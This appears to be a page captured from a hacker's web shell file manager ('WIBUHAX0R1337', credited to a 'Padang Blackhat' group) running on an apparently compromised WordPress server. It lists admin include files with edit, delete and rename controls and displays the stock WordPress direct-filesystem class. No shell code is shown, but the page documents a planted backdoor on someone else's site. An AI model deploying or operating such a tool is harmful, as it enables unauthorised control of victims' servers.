-
WIBUHAX0R1337
-
/
home
/
cideo
/
sainchargny
/
wp-admin
/
includes
/
[ Home ]
Create Folder
Create File
Nama File / Folder
Size
Action
admin-filters.php
6.676KB
Edit File
Delete File
Rename
admin.php
2.879KB
Edit File
Delete File
Rename
class-bulk-theme-upgrader-skin.php
1.895KB
Edit File
Delete File
Rename
class-bulk-upgrader-skin.php
5.078KB
Edit File
Delete File
Rename
class-file-upload-upgrader.php
3.181KB
Edit File
Delete File
Rename
class-ftp-pure.php
5.272KB
Edit File
Delete File
Rename
class-language-pack-upgrader-skin.php
2.133KB
Edit File
Delete File
Rename
class-language-pack-upgrader.php
10.806KB
Edit File
Delete File
Rename
class-pclzip.php
191.206KB
Edit File
Delete File
Rename
class-plugin-installer-skin.php
4.205KB
Edit File
Delete File
Rename
class-plugin-upgrader-skin.php
2.496KB
Edit File
Delete File
Rename
class-plugin-upgrader.php
14.319KB
Edit File
Delete File
Rename
class-theme-upgrader-skin.php
3.344KB
Edit File
Delete File
Rename
class-walker-category-checklist.php
4.115KB
Edit File
Delete File
Rename
class-walker-nav-menu-checklist.php
4.813KB
Edit File
Delete File
Rename
class-wp-comments-list-table.php
25.037KB
Edit File
Delete File
Rename
class-wp-filesystem-base.php
21.664KB
Edit File
Delete File
Rename
class-wp-filesystem-direct.php
10.959KB
Edit File
Delete File
Rename
class-wp-filesystem-ftpext.php
13.149KB
Edit File
Delete File
Rename
class-wp-filesystem-ftpsockets.php
10.338KB
Edit File
Delete File
Rename
class-wp-filesystem-ssh2.php
14.612KB
Edit File
Delete File
Rename
class-wp-importer.php
7.17KB
Edit File
Delete File
Rename
class-wp-internal-pointers.php
5.392KB
Edit File
Delete File
Rename
class-wp-links-list-table.php
7.424KB
Edit File
Delete File
Rename
class-wp-list-table-compat.php
1.043KB
Edit File
Delete File
Rename
class-wp-media-list-table.php
22.11KB
Edit File
Delete File
Rename
class-wp-ms-sites-list-table.php
15.191KB
Edit File
Delete File
Rename
class-wp-ms-themes-list-table.php
19.758KB
Edit File
Delete File
Rename
class-wp-ms-users-list-table.php
12.541KB
Edit File
Delete File
Rename
class-wp-plugin-install-list-table.php
18.895KB
Edit File
Delete File
Rename
class-wp-plugins-list-table.php
32.049KB
Edit File
Delete File
Rename
class-wp-post-comments-list-table.php
1.438KB
Edit File
Delete File
Rename
class-wp-posts-list-table.php
51.479KB
Edit File
Delete File
Rename
class-wp-screen.php
33.513KB
Edit File
Delete File
Rename
class-wp-site-icon.php
5.901KB
Edit File
Delete File
Rename
class-wp-terms-list-table.php
17.536KB
Edit File
Delete File
Rename
class-wp-theme-install-list-table.php
14.184KB
Edit File
Delete File
Rename
class-wp-themes-list-table.php
9.05KB
Edit File
Delete File
Rename
class-wp-upgrader-stat.php
0.367KB
Edit File
Delete File
Rename
class-wp-upgrader.php
33.118KB
Edit File
Delete File
Rename
class-wp-users-list-table.php
16.877KB
Edit File
Delete File
Rename
comment.php
5.592KB
Edit File
Delete File
Rename
continents-cities.php
19.042KB
Edit File
Delete File
Rename
edit-tag-messages.php
1.378KB
Edit File
Delete File
Rename
file.php
80.229KB
Edit File
Delete File
Rename
image-edit.php
32.767KB
Edit File
Delete File
Rename
image.php
21.579KB
Edit File
Delete File
Rename
import-queue.php
0.978KB
Edit File
Delete File
Rename
import.php
6.1KB
Edit File
Delete File
Rename
list-table.php
2.586KB
Edit File
Delete File
Rename
menu.php
8.511KB
Edit File
Delete File
Rename
misc.php
61.826KB
Edit File
Delete File
Rename
ms-admin-filters.php
1.354KB
Edit File
Delete File
Rename
ms-deprecated.php
2.793KB
Edit File
Delete File
Rename
ms.php
34.576KB
Edit File
Delete File
Rename
nav-menu.php
41.474KB
Edit File
Delete File
Rename
network.php
23.319KB
Edit File
Delete File
Rename
options.php
3.742KB
Edit File
Delete File
Rename
plugin-install.php
30.957KB
Edit File
Delete File
Rename
revision.php
14.597KB
Edit File
Delete File
Rename
screen.php
6.004KB
Edit File
Delete File
Rename
taxonomy.php
7.546KB
Edit File
Delete File
Rename
template.php
78.074KB
Edit File
Delete File
Rename
theme-install.php
6.139KB
Edit File
Delete File
Rename
theme.php
27.67KB
Edit File
Delete File
Rename
translation-install.php
8.351KB
Edit File
Delete File
Rename
update.php
25.267KB
Edit File
Delete File
Rename
user.php
48.255KB
Edit File
Delete File
Rename
widgets.php
9.767KB
Edit File
Delete File
Rename
<?php /** * WordPress Direct Filesystem. * * @package WordPress * @subpackage Filesystem */ /** * WordPress Filesystem Class for direct PHP file and folder manipulation. * * @since 2.5.0 * * @see WP_Filesystem_Base */ class WP_Filesystem_Direct extends WP_Filesystem_Base { /** * constructor * * * @param mixed $arg ignored argument */ public function __construct($arg) { $this->method = 'direct'; $this->errors = new WP_Error(); } /** * Reads entire file into a string * * * @param string $file Name of the file to read. * @return string|bool The function returns the read data or false on failure. */ public function get_contents($file) { return @file_get_contents($file); } /** * Reads entire file into an array * * * @param string $file Path to the file. * @return array|bool the file contents in an array or false on failure. */ public function get_contents_array($file) { return @file($file); } /** * Write a string to a file * * * @param string $file Remote path to the file where to write the data. * @param string $contents The data to write. * @param int $mode Optional. The file permissions as octal number, usually 0644. * Default false. * @return bool False upon failure, true otherwise. */ public function put_contents( $file, $contents, $mode = false ) { $fp = @fopen( $file, 'wb' ); if ( ! $fp ) return false; mbstring_binary_safe_encoding(); $data_length = strlen( $contents ); $bytes_written = fwrite( $fp, $contents ); reset_mbstring_encoding(); fclose( $fp ); if ( $data_length !== $bytes_written ) return false; $this->chmod( $file, $mode ); return true; } /** * Gets the current working directory * * * @return string|bool the current working directory on success, or false on failure. */ public function cwd() { return @getcwd(); } /** * Change directory * * * @param string $dir The new current directory. * @return bool Returns true on success or false on failure. */ public function chdir($dir) { return @chdir($dir); } /** * Changes file group * * * @param string $file Path to the file. * @param mixed $group A group name or number. * @param bool $recursive Optional. If set True changes file group recursively. Default false. * @return bool Returns true on success or false on failure. */ public function chgrp($file, $group, $recursive = false) { if ( ! $this->exists($file) ) return false; if ( ! $recursive ) return @chgrp($file, $group); if ( ! $this->is_dir($file) ) return @chgrp($file, $group); // Is a directory, and we want recursive $file = trailingslashit($file); $filelist = $this->dirlist($file); foreach ($filelist as $filename) $this->chgrp($file . $filename, $group, $recursive); return true; } /** * Changes filesystem permissions * * * @param string $file Path to the file. * @param int $mode Optional. The permissions as octal number, usually 0644 for files, * 0755 for dirs. Default false. * @param bool $recursive Optional. If set True changes file group recursively. Default false. * @return bool Returns true on success or false on failure. */ public function chmod($file, $mode = false, $recursive = false) { if ( ! $mode ) { if ( $this->is_file($file) ) $mode = FS_CHMOD_FILE; elseif ( $this->is_dir($file) ) $mode = FS_CHMOD_DIR; else return false; } if ( ! $recursive || ! $this->is_dir($file) ) return @chmod($file, $mode); // Is a directory, and we want recursive $file = trailingslashit($file); $filelist = $this->dirlist($file); foreach ( (array)$filelist as $filename => $filemeta) $this->chmod($file . $filename, $mode, $recursive); return true; } /** * Changes file owner * * * @param string $file Path to the file. * @param mixed $owner A user name or number. * @param bool $recursive Optional. If set True changes file owner recursively. * Default false. * @return bool Returns true on success or false on failure. */ public function chown($file, $owner, $recursive = false) { if ( ! $this->exists($file) ) return false; if ( ! $recursive ) return @chown($file, $owner); if ( ! $this->is_dir($file) ) return @chown($file, $owner); // Is a directory, and we want recursive $filelist = $this->dirlist($file); foreach ($filelist as $filename) { $this->chown($file . '/' . $filename, $owner, $recursive); } return true; } /** * Gets file owner * * * @param string $file Path to the file. * @return string|bool Username of the user or false on error. */ public function owner($file) { $owneruid = @fileowner($file); if ( ! $owneruid ) return false; if ( ! function_exists('posix_getpwuid') ) return $owneruid; $ownerarray = posix_getpwuid($owneruid); return $ownerarray['name']; } /** * Gets file permissions * * FIXME does not handle errors in fileperms() * * * @param string $file Path to the file. * @return string Mode of the file (last 3 digits). */ public function getchmod($file) { return substr( decoct( @fileperms( $file ) ), -3 ); } /** * * @param string $file * @return string|false */ public function group($file) { $gid = @filegroup($file); if ( ! $gid ) return false; if ( ! function_exists('posix_getgrgid') ) return $gid; $grouparray = posix_getgrgid($gid); return $grouparray['name']; } /** * * @param string $source * @param string $destination * @param bool $overwrite * @param int $mode * @return bool */ public function copy($source, $destination, $overwrite = false, $mode = false) { if ( ! $overwrite && $this->exists($destination) ) return false; $rtval = copy($source, $destination); if ( $mode ) $this->chmod($destination, $mode); return $rtval; } /** * * @param string $source * @param string $destination * @param bool $overwrite * @return bool */ public function move($source, $destination, $overwrite = false) { if ( ! $overwrite && $this->exists($destination) ) return false; // Try using rename first. if that fails (for example, source is read only) try copy. if ( @rename($source, $destination) ) return true; if ( $this->copy($source, $destination, $overwrite) && $this->exists($destination) ) { $this->delete($source); return true; } else { return false; } } /** * * @param string $file * @param bool $recursive * @param string $type * @return bool */ public function delete($file, $recursive = false, $type = false) { if ( empty( $file ) ) // Some filesystems report this as /, which can cause non-expected recursive deletion of all files in the filesystem. return false; $file = str_replace( '\\', '/', $file ); // for win32, occasional problems deleting files otherwise if ( 'f' == $type || $this->is_file($file) ) return @unlink($file); if ( ! $recursive && $this->is_dir($file) ) return @rmdir($file); // At this point it's a folder, and we're in recursive mode $file = trailingslashit($file); $filelist = $this->dirlist($file, true); $retval = true; if ( is_array( $filelist ) ) { foreach ( $filelist as $filename => $fileinfo ) { if ( ! $this->delete($file . $filename, $recursive, $fileinfo['type']) ) $retval = false; } } if ( file_exists($file) && ! @rmdir($file) ) $retval = false; return $retval; } /** * * @param string $file * @return bool */ public function exists($file) { return @file_exists($file); } /** * * @param string $file * @return bool */ public function is_file($file) { return @is_file($file); } /** * * @param string $path * @return bool */ public function is_dir($path) { return @is_dir($path); } /** * * @param string $file * @return bool */ public function is_readable($file) { return @is_readable($file); } /** * * @param string $file * @return bool */ public function is_writable($file) { return @is_writable($file); } /** * * @param string $file * @return int */ public function atime($file) { return @fileatime($file); } /** * * @param string $file * @return int */ public function mtime($file) { return @filemtime($file); } /** * * @param string $file * @return int */ public function size($file) { return @filesize($file); } /** * * @param string $file * @param int $time * @param int $atime * @return bool */ public function touch($file, $time = 0, $atime = 0) { if ($time == 0) $time = time(); if ($atime == 0) $atime = time(); return @touch($file, $time, $atime); } /** * * @param string $path * @param mixed $chmod * @param mixed $chown * @param mixed $chgrp * @return bool */ public function mkdir($path, $chmod = false, $chown = false, $chgrp = false) { // Safe mode fails with a trailing slash under certain PHP versions. $path = untrailingslashit($path); if ( empty($path) ) return false; if ( ! $chmod ) $chmod = FS_CHMOD_DIR; if ( ! @mkdir($path) ) return false; $this->chmod($path, $chmod); if ( $chown ) $this->chown($path, $chown); if ( $chgrp ) $this->chgrp($path, $chgrp); return true; } /** * * @param string $path * @param bool $recursive * @return bool */ public function rmdir($path, $recursive = false) { return $this->delete($path, $recursive); } /** * * @param string $path * @param bool $include_hidden * @param bool $recursive * @return bool|array */ public function dirlist($path, $include_hidden = true, $recursive = false) { if ( $this->is_file($path) ) { $limit_file = basename($path); $path = dirname($path); } else { $limit_file = false; } if ( ! $this->is_dir($path) ) return false; $dir = @dir($path); if ( ! $dir ) return false; $ret = array(); while (false !== ($entry = $dir->read()) ) { $struc = array(); $struc['name'] = $entry; if ( '.' == $struc['name'] || '..' == $struc['name'] ) continue; if ( ! $include_hidden && '.' == $struc['name'][0] ) continue; if ( $limit_file && $struc['name'] != $limit_file) continue; $struc['perms'] = $this->gethchmod($path.'/'.$entry); $struc['permsn'] = $this->getnumchmodfromh($struc['perms']); $struc['number'] = false; $struc['owner'] = $this->owner($path.'/'.$entry); $struc['group'] = $this->group($path.'/'.$entry); $struc['size'] = $this->size($path.'/'.$entry); $struc['lastmodunix']= $this->mtime($path.'/'.$entry); $struc['lastmod'] = date('M j',$struc['lastmodunix']); $struc['time'] = date('h:i:s',$struc['lastmodunix']); $struc['type'] = $this->is_dir($path.'/'.$entry) ? 'd' : 'f'; if ( 'd' == $struc['type'] ) { if ( $recursive ) $struc['files'] = $this->dirlist($path . '/' . $struc['name'], $include_hidden, $recursive); else $struc['files'] = array(); } $ret[ $struc['name'] ] = $struc; } $dir->close(); unset($dir); return $ret; } }
© 2022 - 2023 WIBUHAXOR V1 By Lutfifakee || Padang Blackhat